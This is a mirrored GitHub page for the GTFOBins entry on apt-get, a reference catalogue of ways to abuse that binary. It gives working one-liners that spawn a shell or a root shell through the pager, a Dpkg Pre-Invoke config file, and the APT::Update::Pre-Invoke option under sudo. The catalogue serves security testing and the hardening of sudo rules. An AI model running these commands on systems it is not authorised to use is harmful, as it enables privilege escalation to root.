GTFOBins.github.io/apt-get.md at d4f9fa662282a0006b52b388d11f3cfea8640403

mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2024-05-24 08:16:02 +02:00

Andrea Cardaci 21f760676c Add alternative apt* shell technique

Thanks to
https://lsdsecurity.com/2019/01/linux-privilege-escalation-using-apt-get-apt-dpkg-to-abuse-sudo-nopasswd-misconfiguration/

Also related to #38.

2019-01-21 16:28:20 +01:00

790 B

Raw Blame History

functions

shell

sudo

description	code
This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply.	apt-get changelog apt !/bin/sh

description	code
This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply.	sudo apt-get changelog apt !/bin/sh

description	code
For this to work the target package (e.g., `sl`) must not be installed.	TF=$(mktemp) echo 'Dpkg::Pre-Invoke {"/bin/sh;false"}' > $TF sudo apt-get install -c $TF sl

description	code
When the shell exits the `update` command is actually executed.	sudo apt-get update -o APT::Update::Pre-Invoke::=/bin/sh

790 B Raw Blame History

790 B

Raw Blame History